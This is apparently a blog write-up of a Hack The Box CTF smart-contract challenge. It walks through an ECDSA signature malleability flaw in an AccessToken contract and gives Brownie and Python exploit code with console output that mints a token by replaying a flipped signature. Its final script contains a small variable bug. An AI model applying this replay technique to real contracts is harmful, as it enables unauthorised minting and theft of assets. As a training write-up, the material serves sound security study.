Skip to main content

HackTheBox Business CTF - Confidentiality

· 6 min read
Kaan Caglan

Confidentiality is a Solidity CTF challenge from Hack The Box. When we spawn the docker we are getting 2 different ip port pairs. From first question we know that

As you have already seen, there are 2 ports provided.

- The one port is the `tcp` port, which is used to retrieve information about connecting to the private chain, such as private key, and the target contract's addresses. You can connect to this one using `netcat`.
- The other port is the `rpc` url. You will need this in order to connect to the private chain.

In order to figure out which one is which, try using `netcat` against both. The one which works is the `tcp` port, while the other one is the `rpc url`.

One is TCP and the other one is RPC url.

docker spawned

If we try both we will see that 55531 port is the TCP one which we can retrieve information about challenge.

creds

So now we know our private key and the address of contracts.

Private key     :  0x958fb14069f3b4e5e2502d378f7804ecd87b0eb7ef3d79f711d876d0195f1ea6
Address : 0x75cDB60361347688c3cBC7fc16DE76dbBE0789C6
Target contract : 0xf2b742287005ef6b06C45f540dA5583569312E1f
Setup contract : 0x5917511316367ee9211004CC47CFaB737A165481

Connection

>>> from brownie import *

priv_key = '0x958fb14069f3b4e5e2502d378f7804ecd87b0eb7ef3d79f711d876d0195f1ea6'
accounts.add(private_key=priv_key)
attacker = accounts[-1]

ip_port = 'http://94.237.55.114:55676'
web3.connect(ip_port)

setup = Setup.at('0x5917511316367ee9211004CC47CFaB737A165481')
target = AccessToken.at('0xf2b742287005ef6b06C45f540dA5583569312E1f')

assert attacker.balance() > 0

>>> attacker.balance()
5000000000000000000000

brownie-config.yaml

networks:
default: development
development:
host: 94.237.55.114
port: 55676
network_id: "*"
chainid: 31337
cmd_settings:
unlock:
- 0x3f4f44912A322DCD02adB6640Ed38217BbFbcb98

Source Codes

This contract has 2 main solidity file and couple helpers. I won't paste helpers here because they are not vulnerable and they are just copy paste functions from openzeppelin.

Setup.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;

import {AccessToken} from "./AccessToken.sol";

contract Setup {
AccessToken public immutable TARGET;

constructor(address _owner, bytes memory signature) {
TARGET = new AccessToken(_owner);

// Secure 1 AccessToken for myself
TARGET.safeMintWithSignature(signature, address(this));
}

function isSolved(address _player) public view returns (bool) {
return TARGET.balanceOf(_player) > 0;
}
}

Campaign.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;

import {ERC721} from "./lib/ERC721.sol";
import {Owned} from "./lib/Owned.sol";

contract AccessToken is ERC721, Owned {
uint256 public currentSupply;
bytes[] public usedSignatures;

bytes32 public constant approvalHash = 0x4ed1c9f7e3813196653ad7c62857a519087860f86aff4bc7766c8af8756a72ba;

constructor(address _owner) Owned(_owner) ERC721("AccessToken", "ACT") {}

function safeMint(address to) public onlyOwner returns (uint256) {
return _safeMintInternal(to);
}

function safeMintWithSignature(bytes memory signature, address to) external returns (uint256) {
require(_verifySignature(signature), "Not approved");
require(!_isSignatureUsed(signature), "Signature already used");

usedSignatures.push(signature);

return _safeMintInternal(to);
}

function _verifySignature(bytes memory signature) internal view returns (bool) {
(uint8 v, bytes32 r, bytes32 s) = deconstructSignature(signature);
address signer = ecrecover(approvalHash, v, r, s);

return signer == owner;
}

function _isSignatureUsed(bytes memory _signature) internal view returns (bool) {
for (uint256 i = 0; i < usedSignatures.length; i++) {
if (keccak256(_signature) == keccak256(usedSignatures[i])) {
return true;
}
}
return false;
}

function _safeMintInternal(address to) internal returns (uint256) {
currentSupply += 1;
_safeMint(to, currentSupply);
return currentSupply;
}

// ##### Signature helper utilities

// utility function to deconstruct a signature returning (v, r, s)
function deconstructSignature(bytes memory signature) public pure returns (uint8, bytes32, bytes32) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
/// @solidity memory-safe-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return (v, r, s);
}

function constructSignature(uint8 v, bytes32 r, bytes32 s) public pure returns (bytes memory) {
return abi.encodePacked(r, s, v);
}
}

Solution

If we take a look to the Setup contract it can be seen that to solve this question we need to mint/transfer some TARGET tokens to ourself. And we know that TARGET is AccessToken from AccessToken.sol. The contract AccessToken has couple functions for mint operation however one is internal and one oft hem has a onlyOwner modifier. So it means there is only one mint function that we can call which is safeMintWithSignature. That function is checking the signature at very first to verify it and to see if that signature is used or not. Since there is a _isSignatureUsed function control it means we can not use previously given signatures. And on the constructor of Setup.py we know one signature used and pushed to the usedSignatures array. If we take a look to the _verifySignature function we can see that its just deconstructs the given signature to r, s, v and verifies it with ecrecover to see if signer is owner or not. Since we already have one valid signature we can try to use Signature Malleability vulnerability.

    function safeMintWithSignature(bytes memory signature, address to) external returns (uint256) {
require(_verifySignature(signature), "Not approved");
require(!_isSignatureUsed(signature), "Signature already used");

usedSignatures.push(signature);

return _safeMintInternal(to);
}

function _verifySignature(bytes memory signature) internal view returns (bool) {
(uint8 v, bytes32 r, bytes32 s) = deconstructSignature(signature);
address signer = ecrecover(approvalHash, v, r, s);

return signer == owner;
}

So to check current valid hash we can do

>>> target.usedSignatures(0)
0xbca57be80ac3a0814fb298d7115ff0c9ff8288efa9c8558ef86b5525aef03f8c3c62e1f9c7fb89109a6bfd51fe3791de70bb3dc00eecce25c8cfb76609a9258f1b
>>> target.deconstructSignature(target.usedSignatures(0))
(27, 0xbca57be80ac3a0814fb298d7115ff0c9ff8288efa9c8558ef86b5525aef03f8c, 0x3c62e1f9c7fb89109a6bfd51fe3791de70bb3dc00eecce25c8cfb76609a9258f)

We can use that v, r and s values t o create new signature

import ecdsa
v = 27
r = 0xbca57be80ac3a0814fb298d7115ff0c9ff8288efa9c8558ef86b5525aef03f8c
s = 0x3c62e1f9c7fb89109a6bfd51fe3791de70bb3dc00eecce25c8cfb76609a9258f

# ECDSA curve order
n = ecdsa.SECP256k1.order

# New s and v
s_new = (-s) % n
v_new = 27 if v == 28 else 28

print("New Signature: ", (v_new, r, s_new))

And the output is

New Signature:  (28, 85327200469984395632502839566776837187115176720309848430044766911403184373644, 88478607682956560751764001115168458186918560835760767434360627727659894119346)

So now we can construct new signature from this v,r,s pair and send it to target class to mint some tokens.

>>> new_v = 28
>>> new_r = 85327200469984395632502839566776837187115176720309848430044766911403184373644
>>> new_s = 88478607682956560751764001115168458186918560835760767434360627727659894119346
>>> target.constructSignature(new_v, new_r, new_s)
0xbca57be80ac3a0814fb298d7115ff0c9ff8288efa9c8558ef86b5525aef03f8cc39d1e06380476ef659402ae01c86e2049f39f26a05bd215f702a726c68d1bb21c

and use it on mint function.

>>> target.constructSignature(new_v, new_r, new_s)
0xbca57be80ac3a0814fb298d7115ff0c9ff8288efa9c8558ef86b5525aef03f8cc39d1e06380476ef659402ae01c86e2049f39f26a05bd215f702a726c68d1bb21c
>>> target.balanceOf(attacker)
0
>>> target.safeMintWithSignature(target.constructSignature(new_v, new_r, new_s), attacker, {'from': attacker})
Transaction sent: 0xfca6757b632175b627c201e148b84e29fe6eabbc5157ca4add4f08c67e1179dc
Gas price: 0.0 gwei Gas limit: 30000000 Nonce: 2
AccessToken.safeMintWithSignature confirmed Block: 4 Gas used: 185202 (0.62%)

<Transaction '0xfca6757b632175b627c201e148b84e29fe6eabbc5157ca4add4f08c67e1179dc'>
>>> target.balanceOf(attacker)
1

FLAG

flag

Brownie Script

from brownie import *

priv_key = '0x958fb14069f3b4e5e2502d378f7804ecd87b0eb7ef3d79f711d876d0195f1ea6'
accounts.add(private_key=priv_key)
attacker = accounts[-1]

ip_port = 'http://94.237.55.114:55676'
web3.connect(ip_port)

setup = Setup.at('0x5917511316367ee9211004CC47CFaB737A165481')
target = AccessToken.at('0xf2b742287005ef6b06C45f540dA5583569312E1f')

assert attacker.balance() > 0

import ecdsa
v,r,s = target.deconstructSignature(target.usedSignatures(0))
v = v_r_s[0]
r = v_r_s[1]
s = v_r_s[2]
# ECDSA curve order
n = ecdsa.SECP256k1.order

# New s and v
s_new = (-s) % n
v_new = 27 if v == 28 else 28

print("New Signature: ", (v_new, r, s_new))

target.safeMintWithSignature(target.constructSignature(v_new, r, s_new), attacker, {'from': attacker})